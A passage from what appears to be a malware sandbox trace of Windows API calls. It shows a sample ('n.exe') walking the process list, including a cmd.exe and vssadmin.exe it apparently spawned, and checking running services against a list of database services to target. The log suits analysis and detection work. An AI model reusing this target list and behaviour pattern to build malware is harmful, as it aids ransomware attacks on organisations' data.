th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.919] lstrlenW (lpString="svchost.exe") returned 11 [0187.919] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.920] lstrlenW (lpString="svchost.exe") returned 11 [0187.920] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.920] lstrlenW (lpString="svchost.exe") returned 11 [0187.920] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.920] lstrlenW (lpString="svchost.exe") returned 11 [0187.920] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.921] lstrlenW (lpString="audiodg.exe") returned 11 [0187.921] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.921] lstrlenW (lpString="svchost.exe") returned 11 [0187.921] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.921] lstrlenW (lpString="explorer.exe") returned 12 [0187.921] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.922] lstrlenW (lpString="dwm.exe") returned 7 [0187.922] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.922] lstrlenW (lpString="svchost.exe") returned 11 [0187.922] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0187.922] lstrlenW (lpString="n.exe") returned 5 [0187.923] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.923] lstrlenW (lpString="spoolsv.exe") returned 11 [0187.923] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.923] lstrlenW (lpString="svchost.exe") returned 11 [0187.923] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0187.923] lstrlenW (lpString="taskhost.exe") returned 12 [0187.924] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0187.924] lstrlenW (lpString="reader_sl.exe") returned 13 [0187.924] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0187.924] lstrlenW (lpString="n.exe") returned 5 [0187.924] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0187.925] lstrlenW (lpString="cmd.exe") returned 7 [0187.925] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0187.925] lstrlenW (lpString="conhost.exe") returned 11 [0187.925] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0187.925] lstrlenW (lpString="vssadmin.exe") returned 12 [0187.925] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0187.926] lstrlenW (lpString="VSSVC.exe") returned 9 [0187.926] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0187.926] CloseHandle (hObject=0x1d8) returned 1 [0187.926] Sleep (dwMilliseconds=0x1f4) [0188.718] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0188.978] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0188.979] GetLastError () returned 0xea [0188.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x123e) returned 0x6b5c80 [0188.979] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x123e, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0188.980] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0188.980] lstrlenW (lpString="Appinfo") returned 7 [0188.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0188.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0188.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0188.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0188.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0188.980] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0188.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0188.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0188.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0188.980] lstrlenW (lpString="AudioSrv") returned 8 [0188.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0188.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0188.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0188.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0188.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0188.980] lstrlenW (lpString="BFE") returned 3 [0188.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0188.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0188.980] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0188.980] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0188.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0188.981] lstrlenW (lpString="CryptSvc") returned 8 [0188.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0188.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0188.981] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0188.981] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0188.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0188.981] lstrlenW (lpString="CscService") returned 10 [0188.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0188.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0188.981] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0188.981] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0188.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0188.981] lstrlenW (lpString="DcomLaunch") returned 10 [0188.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0188.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0188.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0188.981] lstrlenW (lpString="Dhcp") returned 4 [0188.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0188.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0188.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0188.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0188.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0188.981] lstrlenW (lpString="Dnscache") returned 8 [0188.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0188.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0188.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0188.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0188.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0188.981] lstrlenW (lpString="DPS") returned 3 [0188.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0188.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0188.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0188.982] lstrlenW (lpString="eventlog") returned 8 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0188.982] lstrlenW (lpString="EventSystem") returned 11 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0188.982] lstrlenW (lpString="gpsvc") returned 5 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0188.982] lstrlenW (lpString="iphlpsvc") returned 8 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0188.982] lstrlenW (lpString="LanmanServer") returned 12 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0188.983] lstrlenW (lpString="LanmanWorkstation") returned 17 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0188.983] lstrlenW (lpString="lmhosts") returned 7 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0188.983] lstrlenW (lpString="MMCSS") returned 5 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0188.983] lstrlenW (lpString="MpsSvc") returned 6 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0188.983] lstrlenW (lpString="Netman") returned 6 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0188.983] lstrlenW (lpString="netprofm") returned 8 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0188.984] lstrlenW (lpString="NlaSvc") returned 6 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0188.984] lstrlenW (lpString="nsi") returned 3 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0188.984] lstrlenW (lpString="PcaSvc") returned 6 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0188.984] lstrlenW (lpString="PlugPlay") returned 8 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0188.984] lstrlenW (lpString="Power") returned 5 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0188.985] lstrlenW (lpString="ProfSvc") returned 7 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0188.985] lstrlenW (lpString="RpcEptMapper") returned 12 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0188.985] lstrlenW (lpString="RpcSs") returned 5 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0188.985] lstrlenW (lpString="SamSs") returned 5 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0188.985] lstrlenW (lpString="Schedule") returned 8 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0188.985] lstrlenW (lpString="SENS") returned 4 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0188.986] lstrlenW (lpString="ShellHWDetection") returned 16 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0188.986] lstrlenW (lpString="Spooler") returned 7 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0188.986] lstrlenW (lpString="SysMain") returned 7 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0188.986] lstrlenW (lpString="Themes") returned 6 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0188.986] lstrlenW (lpString="TrkWks") returned 6 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0188.987] lstrlenW (lpString="UxSms") returned 5 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0188.987] lstrlenW (lpString="VSS") returned 3 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 